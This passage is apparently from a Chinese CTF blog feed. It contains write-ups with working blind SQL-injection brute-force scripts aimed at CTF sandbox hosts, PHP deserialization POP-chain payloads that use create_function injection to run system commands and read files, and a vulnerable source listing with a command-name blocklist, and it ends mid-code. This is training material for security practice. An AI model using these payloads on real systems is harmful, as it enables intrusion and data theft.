class="code"><pre><span class="line">&#39;username&#39;: &#39;admin\\&#39;,</span><br><span class="line">&#39;password&#39;: &#39;||exp(710-((bool))#&#39;,</span><br><span class="line">&#39;code&#39;: &#39;1&#39;</span><br></pre></td></tr></table></figure><p>通过闭合 使 <code>username='admin\' and password='</code>    过滤了 or 用 ||</p><p>过滤了空格  用 0x0c  换页符代替  或者用括号</p><h1 id="exp"><a class="markdownIt-Anchor" href="#exp">#</a> exp</h1><h2 id="trim-推荐"><a class="markdownIt-Anchor" href="#trim-推荐">#</a> trim  推荐</h2><blockquote><p>利用嵌套 trim 判断长度 获得 code 值 无需担心 重复</p></blockquote><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># -*- coding: utf-8 -*-</span></span><br><span class="line"><span class="string">&quot;&quot;&quot;</span></span><br><span class="line"><span class="string">@Time    : 2021/11/26</span></span><br><span class="line"><span class="string">@Author  : hkcc</span></span><br><span class="line"><span class="string">&quot;&quot;&quot;</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> requests</span><br><span class="line"><span class="keyword">from</span> time <span class="keyword">import</span> sleep</span><br><span class="line"></span><br><span class="line">url = <span class="string">&quot;http://challenge-16a8510d5c6c71ad.sandbox.ctfhub.com:10800/login.php&quot;</span></span><br><span class="line">charset = <span class="string">&quot;1234567890wertyuiopasdfghjklzxcvbnmq_&quot;</span></span><br><span class="line">totallength = <span class="number">23</span></span><br><span class="line">result = <span class="string">&quot;&quot;</span></span><br><span class="line"></span><br><span class="line">print(<span class="string">&quot;-----------start to get length---------------&quot;</span>)</span><br><span class="line"><span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">1</span>,<span class="number">254</span>):</span><br><span class="line">    num=i</span><br><span class="line">    pay=<span class="string">&quot;||exp(710-(length(trim(leading 0x00 from code))like &#123;&#125;))#&quot;</span></span><br><span class="line">    pay=pay.<span class="built_in">format</span>(<span class="built_in">str</span>(num)).replace(<span class="string">&#x27; &#x27;</span>,<span class="built_in">chr</span>(<span class="number">0x0c</span>))</span><br><span class="line">    print(pay)</span><br><span class="line">    data = &#123;<span class="string">&quot;username&quot;</span>: <span class="string">&quot;admin\\&quot;</span>, <span class="string">&quot;password&quot;</span>: pay, <span class="string">&quot;code&quot;</span>: <span class="string">&#x27;1&#x27;</span>&#125;</span><br><span class="line">    res = requests.post(url, data, allow_redirects=<span class="literal">False</span>)</span><br><span class="line">    sleep(<span class="number">0.1</span>)</span><br><span class="line">    <span class="keyword">if</span>(<span class="string">&#x27;login&#x27;</span> <span class="keyword">in</span> res.text):</span><br><span class="line">        totallength = num</span><br><span class="line">        <span class="keyword">break</span></span><br><span class="line">print(<span class="string">&quot;-----------code length &#123;&#125;---------------&quot;</span>.<span class="built_in">format</span>(totallength))</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">pay1=<span class="string">&quot;||exp(710-(length(&#123;&#125;)like &#123;&#125;))#&quot;</span></span><br><span class="line">pay3=<span class="string">&quot;trim(leading &#123;&#125; from &#123;&#125;)&quot;</span></span><br><span class="line">addpay=<span class="string">&quot;&quot;</span></span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(totallength-<span class="number">1</span>,-<span class="number">1</span>,-<span class="number">1</span>):</span><br><span class="line">    <span class="keyword">for</span> j <span class="keyword">in</span> charset:</span><br><span class="line">        tchar=<span class="built_in">hex</span>(<span class="built_in">ord</span>(j))</span><br><span class="line">        <span class="keyword">if</span> (i == totallength - <span class="number">1</span>):</span><br><span class="line">            temppay = pay3.<span class="built_in">format</span>(tchar, <span class="string">&quot;code&quot;</span>)</span><br><span class="line">        <span class="keyword">else</span>:</span><br><span class="line">            temppay = pay3.<span class="built_in">format</span>(tchar, addpay)</span><br><span class="line">        finalpay=pay1.<span class="built_in">format</span>(temppay,<span class="built_in">str</span>(i)).replace(<span class="string">&#x27; &#x27;</span>,<span class="built_in">chr</span>(<span class="number">0x0c</span>))</span><br><span class="line">        data = &#123;<span class="string">&quot;username&quot;</span>: <span class="string">&quot;admin\\&quot;</span>, <span class="string">&quot;password&quot;</span>: finalpay, <span class="string">&quot;code&quot;</span>: <span class="string">&#x27;1&#x27;</span>&#125;</span><br><span class="line">        req= requests.post(url, data, allow_redirects=<span class="literal">False</span>)</span><br><span class="line">        sleep(<span class="number">0.2</span>)</span><br><span class="line">        <span class="comment">#print(req.text)</span></span><br><span class="line">        <span class="keyword">if</span> (<span class="string">&#x27;login&#x27;</span> <span class="keyword">in</span> req.text):</span><br><span class="line">            result = result + j</span><br><span class="line">            <span class="keyword">break</span></span><br><span class="line">    addpay=temppay</span><br><span class="line">    print(result)</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"></span><br><span class="line">print(<span class="string">&quot;-----------get flag---------------&quot;</span>)</span><br><span class="line">data = &#123;<span class="string">&quot;username&quot;</span>:<span class="string">&quot;admin\\&quot;</span>,<span class="string">&quot;password&quot;</span>:<span class="string">&quot;||True#&quot;</span>,<span class="string">&quot;code&quot;</span>:result&#125;</span><br><span class="line">res = requests.post(url, data)</span><br><span class="line">print(res.text)</span><br></pre></td></tr></table></figure><h2 id="rlike-2"><a class="markdownIt-Anchor" href="#rlike-2">#</a> rlike</h2><p><a href="https://xz.aliyun.com/t/9849#toc-8">引用链接</a></p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> requests</span><br><span class="line"><span class="keyword">import</span> string</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">str2hex</span>(<span class="params">string</span>):</span>  <span class="comment"># 转换16进制,16进制在数据库执行查询时又默认转换成字符串</span></span><br><span class="line">    result = <span class="string">&#x27;&#x27;</span></span><br><span class="line">    <span class="keyword">for</span> i <span class="keyword">in</span> string:</span><br><span class="line">        result += <span class="built_in">hex</span>(<span class="built_in">ord</span>(i))</span><br><span class="line">    result = result.replace(<span class="string">&#x27;0x&#x27;</span>, <span class="string">&#x27;&#x27;</span>)</span><br><span class="line">    <span class="keyword">return</span> <span class="string">&#x27;0x&#x27;</span> + result</span><br><span class="line"></span><br><span class="line">strs = string.ascii_letters + string.digits + <span class="string">&#x27;_&#x27;</span></span><br><span class="line">url = <span class="string">&quot;http://be2ae7e7-9c0e-4f21-8b3a-97e28c20d79c.node3.buuoj.cn/login.php&quot;</span></span><br><span class="line">headers = &#123;</span><br><span class="line">    <span class="string">&#x27;User-Agent&#x27;</span>: <span class="string">&#x27;Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0&#x27;</span></span><br><span class="line">&#125;</span><br><span class="line">payload = <span class="string">&#x27;||exp(710-(code rlike binary &#123;0&#125;))#&#x27;</span></span><br><span class="line"><span class="keyword">if</span> __name__ == <span class="string">&quot;__main__&quot;</span>:</span><br><span class="line">    name = <span class="string">&#x27;&#x27;</span></span><br><span class="line">    z = <span class="number">3</span></span><br><span class="line">    <span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">1</span>, <span class="number">40</span>):</span><br><span class="line">        <span class="keyword">for</span> j <span class="keyword">in</span> strs:</span><br><span class="line">            passwd = str2hex(name + j)</span><br><span class="line">            payloads = payload.<span class="built_in">format</span>(passwd).replace(<span class="string">&#x27; &#x27;</span>,<span class="built_in">chr</span>(<span class="number">0x0c</span>))</span><br><span class="line">            postdata = &#123;</span><br><span class="line">                <span class="string">&#x27;username&#x27;</span>: <span class="string">&#x27;admin\\&#x27;</span>,</span><br><span class="line">                <span class="string">&#x27;password&#x27;</span>: payloads,</span><br><span class="line">                <span class="string">&#x27;code&#x27;</span>: <span class="string">&#x27;1&#x27;</span></span><br><span class="line">            &#125;</span><br><span class="line">            r = requests.post(url, data=postdata, headers=headers, allow_redirects=<span class="literal">False</span>)</span><br><span class="line">            <span class="comment">#print(r.text)</span></span><br><span class="line">            <span class="keyword">if</span> <span class="string">&quot;fail&quot;</span> <span class="keyword">in</span> r.text:</span><br><span class="line">                name += j</span><br><span class="line">                print(j, end=<span class="string">&#x27;&#x27;</span>)</span><br><span class="line">                <span class="keyword">break</span></span><br><span class="line"></span><br><span class="line">        <span class="keyword">if</span> <span class="built_in">len</span>(name) &gt;= <span class="number">3</span>:</span><br><span class="line">            <span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">1</span>, <span class="number">40</span>):</span><br><span class="line">                <span class="keyword">for</span> j <span class="keyword">in</span> strs:</span><br><span class="line">                    passwd = str2hex(name[z - <span class="number">3</span>:z] + j)  <span class="comment"># ergh</span></span><br><span class="line">                    payloads = payload.<span class="built_in">format</span>(passwd).replace(<span class="string">&#x27; &#x27;</span>, <span class="built_in">chr</span>(<span class="number">0x0c</span>))</span><br><span class="line">                    postdata = &#123;</span><br><span class="line">                        <span class="string">&#x27;username&#x27;</span>: <span class="string">&#x27;admin\\&#x27;</span>,</span><br><span class="line">                        <span class="string">&#x27;password&#x27;</span>: payloads,</span><br><span class="line">                        <span class="string">&#x27;code&#x27;</span>: <span class="string">&#x27;1&#x27;</span></span><br><span class="line">                    &#125;</span><br><span class="line">                    r = requests.post(url, data=postdata, headers=headers, allow_redirects=<span class="literal">False</span>)</span><br><span class="line">                    <span class="comment"># print(r.text)</span></span><br><span class="line">                    <span class="keyword">if</span> <span class="string">&quot;fail&quot;</span> <span class="keyword">in</span> r.text:</span><br><span class="line">                        name += j</span><br><span class="line">                        print(j, end=<span class="string">&#x27;&#x27;</span>)</span><br><span class="line">                        z += <span class="number">1</span></span><br><span class="line">                        <span class="keyword">break</span></span><br></pre></td></tr></table></figure><p>出结果了，别高兴的太早，因为这里陷入了一个死循环当中：</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">erghruigh2uygh2uygh2uygh2uygh2uygh2uygh2uygh2uygh2uygh2uygh......</span><br></pre></td></tr></table></figure><p>可以看到爆出  <code>erghruigh2</code>  之后不停地循环出现  <code>uygh2</code> ，所以我们可以推测出真正的 code 里面有两个  <code>gh2</code> ，其中位于前面的那个  <code>gh2</code>  后面紧跟着一个  <code>u</code> ，即  <code>gh2u</code> 。后面那个  <code>gh2</code>  后面跟的是那个字符我们还不能确定，那我们便可以测试一下除了  <code>u</code>  以外的其他字符，经测试第二个  <code>gh2</code>  后面跟的字符是  <code>3</code> ，即  <code>gh23</code> ，然后继续根据  <code>h23</code>  爆破接下来的字符就行了，最后得到的 code 如下：</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">erghruigh2uygh23uiu32ig</span><br></pre></td></tr></table></figure>]]></content>
    
    
      
      
        
        
    <summary type="html">&lt;link rel=&quot;stylesheet&quot; class=&quot;aplayer-secondary-style-marker&quot; href=&quot;/assets/css/APlayer.min.css&quot;&gt;&lt;script src=&quot;/assets/js/APlayer.min.js&quot;</summary>
        
      
    
    
    
    <category term="ctf" scheme="http://www.cclss.top/categories/ctf/"/>
    
    
    <category term="ctf" scheme="http://www.cclss.top/tags/ctf/"/>
    
    <category term="sql" scheme="http://www.cclss.top/tags/sql/"/>
    
    <category term="脚本编写" scheme="http://www.cclss.top/tags/%E8%84%9A%E6%9C%AC%E7%BC%96%E5%86%99/"/>
    
  </entry>
  
  <entry>
    <title>wp合集</title>
    <link href="http://www.cclss.top/post/ctf_match/"/>
    <id>http://www.cclss.top/post/ctf_match/</id>
    <published>2021-11-21T06:15:42.000Z</published>
    <updated>2021-11-21T06:15:42.000Z</updated>
    
    <content type="html"><![CDATA[<link rel="stylesheet" class="aplayer-secondary-style-marker" href="/assets/css/APlayer.min.css"><script src="/assets/js/APlayer.min.js" class="aplayer-secondary-script-marker"></script><script class="meting-secondary-script-marker" src="/assets/js/Meting.min.js"></script><blockquote><p>太久没跟新了 ，就一起发了 💨</p></blockquote><h1 id="0x01-das-sept"><a class="markdownIt-Anchor" href="#0x01-das-sept">#</a> 0x01 DAS sept</h1><h2 id="web"><a class="markdownIt-Anchor" href="#web">#</a> web</h2><h3 id="hellounser"><a class="markdownIt-Anchor" href="#hellounser">#</a> hellounser</h3><ul><li>一道 php 反序列化的题目：</li></ul><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;?php</span></span><br><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">A</span> </span>&#123;</span><br><span class="line">    <span class="keyword">public</span> <span class="variable">$var</span>;</span><br><span class="line">    <span class="keyword">public</span> <span class="function"><span class="keyword">function</span> <span class="title">show</span>(<span class="params"></span>)</span>&#123;</span><br><span class="line">        <span class="keyword">echo</span> <span class="keyword">$this</span>-&gt;var;</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">public</span> <span class="function"><span class="keyword">function</span> <span class="title">__invoke</span>(<span class="params"></span>)</span>&#123;</span><br><span class="line">        <span class="keyword">$this</span>-&gt;show();</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">B</span></span>&#123;</span><br><span class="line">    <span class="keyword">public</span> <span class="variable">$func</span>;</span><br><span class="line">    <span class="keyword">public</span> <span class="variable">$arg</span>;</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">public</span> <span class="function"><span class="keyword">function</span> <span class="title">show</span>(<span class="params"></span>)</span>&#123;</span><br><span class="line">        <span class="variable">$func</span> = <span class="keyword">$this</span>-&gt;func;</span><br><span class="line">        <span class="keyword">if</span>(preg_match(<span class="string">&#x27;/^[a-z0-9]*$/isD&#x27;</span>, <span class="keyword">$this</span>-&gt;func) || preg_match(<span class="string">&#x27;/fil|cat|more|tail|tac|less|head|nl|tailf|ass|eval|sort|shell|ob|start|mail|\`|\&#123;|\%|x|\&amp;|\$|\*|\||\&lt;|\&quot;|\&#x27;|\=|\?|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|print|echo|read|inc|flag|1f|info|bin|hex|oct|pi|con|rot|input|\.|log/i&#x27;</span>, <span class="keyword">$this</span>-&gt;arg)) &#123; </span><br><span class="line">            <span class="keyword">die</span>(<span class="string">&#x27;No!No!No!&#x27;</span>); </span><br><span class="line">        &#125; <span class="keyword">else</span> &#123; </span><br><span class="line">            <span class="keyword">include</span> <span class="string">&quot;flag.php&quot;</span>;</span><br><span class="line">            <span class="comment">//There is no code to print flag in flag.php</span></span><br><span class="line">            <span class="variable">$func</span>(<span class="string">&#x27;&#x27;</span>, <span class="keyword">$this</span>-&gt;arg); </span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">public</span> <span class="function"><span class="keyword">function</span> <span class="title">__toString</span>(<span class="params"></span>)</span>&#123;</span><br><span class="line">        <span class="keyword">$this</span>-&gt;show();</span><br><span class="line">        <span class="keyword">return</span> <span class="string">&quot;&lt;br&gt;&quot;</span>.<span class="string">&quot;Nice Job!!&quot;</span>.<span class="string">&quot;&lt;br&gt;&quot;</span>;</span><br><span class="line">    &#125;    </span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span>(<span class="keyword">isset</span>(<span class="variable">$_GET</span>[<span class="string">&#x27;pop&#x27;</span>]))&#123;</span><br><span class="line">    <span class="variable">$aaa</span> = unserialize(<span class="variable">$_GET</span>[<span class="string">&#x27;pop&#x27;</span>]);</span><br><span class="line">    <span class="variable">$aaa</span>();</span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">else</span>&#123;</span><br><span class="line">    highlight_file(<span class="keyword">__FILE__</span>);</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="meta">?&gt;</span></span><br></pre></td></tr></table></figure><ol><li>照常先来看入口点，在反序列化后立刻函数式调用了该对象，那么可以触发的就是 <code>__invoke()</code>  函数。</li><li><code>__invoke()</code>  函数内部调用了同类中的 <code>show()</code>  函数，其中将变量 <code>$var</code>  作为字符串打印，那么可以触发 <code>__toString()</code>  函数。</li><li><code>__toString()</code>  函数也调用了同类中的 <code>show()</code>  函数，包含了 <code>flag.php</code>  并且可以控制调用的函数名和第二个参数。</li></ol><ul><li><p>这里我们可以确定使用 <code>create_funtion()</code>  逃逸，使用 <code>;&#125;;var_dump(get_defined_vars());//</code>  来逃逸出大括号。</p></li><li><p>但是这分别对 <code>func</code>  和 <code>arg</code>  做了过滤，那么我们分析如何绕过：</p><ul><li><code>preg_match('/^[a-z0-9]*$/isD', $this-&gt;func)</code> ，限制不能所有的字符都是字母或者数字，那么我们可以使用 <code>\create_function</code>  来绕过。而这个 <code>\</code>  代表该函数是全局空间下的名称。</li><li><code>arg</code>  变量限制了很多系统命令和 php 函数，但是没有限制 <code>system()</code>  函数。过滤了引号，那么我们可以不用引号，只要命令中间没有空格（当然不加引号似乎只在 php5 生效，我用自己电脑上的 php8 是不能执行的）。</li></ul></li><li><p>生成 payload：</p></li></ul><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;?php</span></span><br><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">A</span> </span>&#123;</span><br><span class="line">    <span class="keyword">public</span> <span class="variable">$var</span>;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">B</span></span>&#123;</span><br><span class="line">    <span class="keyword">public</span> <span class="variable">$func</span> = <span class="string">&#x27;\create_function&#x27;</span>;</span><br><span class="line">    <span class="keyword">public</span> <span class="variable">$arg</span> = <span class="string">&#x27;;&#125;;var_dump(get_defined_vars());//&#x27;</span>;</span><br><span class="line">    </span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="variable">$a</span> = <span class="keyword">new</span> A();</span><br><span class="line"><span class="variable">$a</span> -&gt; <span class="keyword">var</span> = <span class="keyword">new</span> B();</span><br><span class="line"><span class="keyword">echo</span> urlencode(serialize(<span class="variable">$a</span>));</span><br></pre></td></tr></table></figure><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">O%3A1%3A%22A%22%3A1%3A%7Bs%3A3%3A%22var%22%3BO%3A1%3A%22B%22%3A2%3A%7Bs%3A4%3A%22func%22%3Bs%3A16%3A%22%5Ccreate_function%22%3Bs%3A3%3A%22arg%22%3Bs%3A34%3A%22%3B%7D%3Bvar_dump%28get_defined_vars%28%29%29%3B%2F%2F%22%3B%7D%7D</span><br></pre></td></tr></table></figure><ul><li>回显：</li></ul><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">array(2) &#123; [&quot;func&quot;]&#x3D;&gt; string(16) &quot;\create_function&quot; [&quot;FakeFlag&quot;]&#x3D;&gt; string(33) &quot;fl4g&#123;TrueFlag_is_in_Tru3flag.php&#125;&quot; &#125;</span><br></pre></td></tr></table></figure><ul><li>那么我们就需要去查看 Tru3flag.php：</li></ul><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">public $arg &#x3D; &#39;;&#125;;system(ls);&#x2F;&#x2F;&#39;;</span><br></pre></td></tr></table></figure><ul><li>回显：</li></ul><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">Tru3flag.php flag.php index.php</span><br></pre></td></tr></table></figure><ul><li>单词命令是可以执行的，但是 <code>cat Tru3flag.php</code>  肯定会存在空格，就算将其 base64 之类的也不行，用引号（这里不让）在本地也失败。所以我们只能再嵌套一层 <code>base64_decode()</code>  函数：</li></ul><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">public $arg &#x3D; &#39;;&#125;;system(base64_decode(Y2F0IFRydTNmbGFnLnBocDsg));&#x2F;&#x2F;&#39;;</span><br></pre></td></tr></table></figure><ul><li>注意 base64 编码不能有等号，因为等号也被过滤了，我的方法也很简单，在后面加一个空格就可以了。</li><li>不过 base64 编码后触发了 <code>nl</code> （笑），这里我们用 <code>cat Tru*</code>  再编码：</li></ul><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">public $arg &#x3D; &#39;;&#125;;system(base64_decode(Y2F0IFRydSoK));&#x2F;&#x2F;&#39;;</span><br></pre></td></tr></table></figure><ul><li><p>获得 flag：</p></li><li><p>当然也可以用取反绕过：</p></li></ul><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;?php</span></span><br><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">A</span> </span>&#123;</span><br><span class="line">    <span class="keyword">public</span> <span class="variable">$var</span>;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">B</span></span>&#123;</span><br><span class="line">    <span class="keyword">public</span> <span class="variable">$func</span> = <span class="string">&#x27;\create_function&#x27;</span>;</span><br><span class="line">    <span class="keyword">public</span> <span class="variable">$arg</span>;</span><br><span class="line">    </span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="variable">$a</span> = <span class="keyword">new</span> A();</span><br><span class="line"><span class="variable">$a</span> -&gt; <span class="keyword">var</span> = <span class="keyword">new</span> B();</span><br><span class="line"><span class="variable">$ac</span> = (~(<span class="string">&#x27;php://filter/read=convert.base64-encode/resource=Tru3flag.php&#x27;</span>));</span><br><span class="line"><span class="variable">$a</span> -&gt; <span class="keyword">var</span> -&gt; arg = <span class="string">&#x27;return(1);&#125;require(~(&#x27;</span>.strval(<span class="variable">$ac</span>).<span class="string">&#x27;));//&#x27;</span>;</span><br><span class="line"><span class="keyword">echo</span> urlencode(serialize(<span class="variable">$a</span>));</span><br></pre></td></tr></table></figure><h3 id="xxc"><a class="markdownIt-Anchor" href="#xxc">#</a> xxc</h3><ul><li>打开网页提示 <code>一条链子</code> ，使用 dirmap 扫描到网站源码 www.zip，进行代码审计。</li><li>index.php 其中存在反序列化操作，这道题确定是一道序列化的题目：</li></ul><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;?php</span></span><br><span class="line"><span class="keyword">include</span>(<span class="string">&quot;closure/autoload.php&quot;</span>);</span><br><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">_loader</span>(<span class="params"><span class="variable">$class</span></span>)</span>&#123;</span><br><span class="line">    <span class="keyword">require_once</span> <span class="string">&#x27;./class/&#x27;</span> . (str_replace(<span class="string">&#x27;\\&#x27;</span>, <span class="string">&#x27;/&#x27;</span>, <span class="variable">$class</span>) . <span class="string">&#x27;.php&#x27;</span>);</span><br><span class="line">&#125;</span><br><span class="line">spl_autoload_register(<span class="string">&quot;_loader&quot;</span>);</span><br><span class="line">error_reporting(<span class="number">0</span>);</span><br><span class="line"><span class="keyword">if</span>(<span class="variable">$_POST</span>[<span class="string">&#x27;data&#x27;</span>])&#123;</span><br><span class="line">    unserialize(base64_decode(<span class="variable">$_POST</span>[<span class="string">&#x27;data&#x27;</span>]));</span><br><span class="line">&#125;<span class="keyword">else</span>&#123;</span><br><span class="line">    <span class="keyword">echo</span> <span class="string">&quot;&lt;h1&gt;一条链子&lt;/h1&gt;&quot;</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><ul><li><p>我们先来学习一下 <code>_loader()</code>  函数，这是一个自动加载函数，在 PHP5 中，当我们实例化一个未定义的类时，就会触发此函数。</p></li><li><p><code>spl_autoload_register('loadprint')</code>  与 <code>__autoload()</code>  函数有异曲同工之妙，PHP 碰到没有定义的类就执行 <code>loadprint()</code>  函数。</p></li><li><p>所以我们在 <code>index.php</code>  中可以自由的实例化存在的类。由于是反序列化的题目，我们先来看看入口点 <code>__destruct()</code>  和 <code>__wakeup()</code>  函数是否存在：</p><ul><li><code>\Control\State\StopHook.php</code>  中发现了析构函数，调用了同类中的 <code>_exit()</code>  函数，其中 <code>$process-&gt;stop();</code>  可能会触发 <code>__call()</code>  函数，而 <code>!$process-&gt;isRunning</code>  可能会触发 <code>__get()</code>  函数：</li></ul><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;?php</span></span><br><span class="line"><span class="keyword">namespace</span> <span class="title">Control</span>\<span class="title">State</span>;</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">StopHook</span> </span>&#123;</span><br><span class="line">    <span class="keyword">protected</span> <span class="variable">$output</span>;</span><br><span class="line">    <span class="keyword">protected</span> <span class="variable">$config</span> = [<span class="string">&#x27;auto&#x27;</span> =&gt; <span class="number">0</span>];</span><br><span class="line">    <span class="keyword">protected</span> <span class="built_in">static</span> <span class="variable">$states</span> = [<span 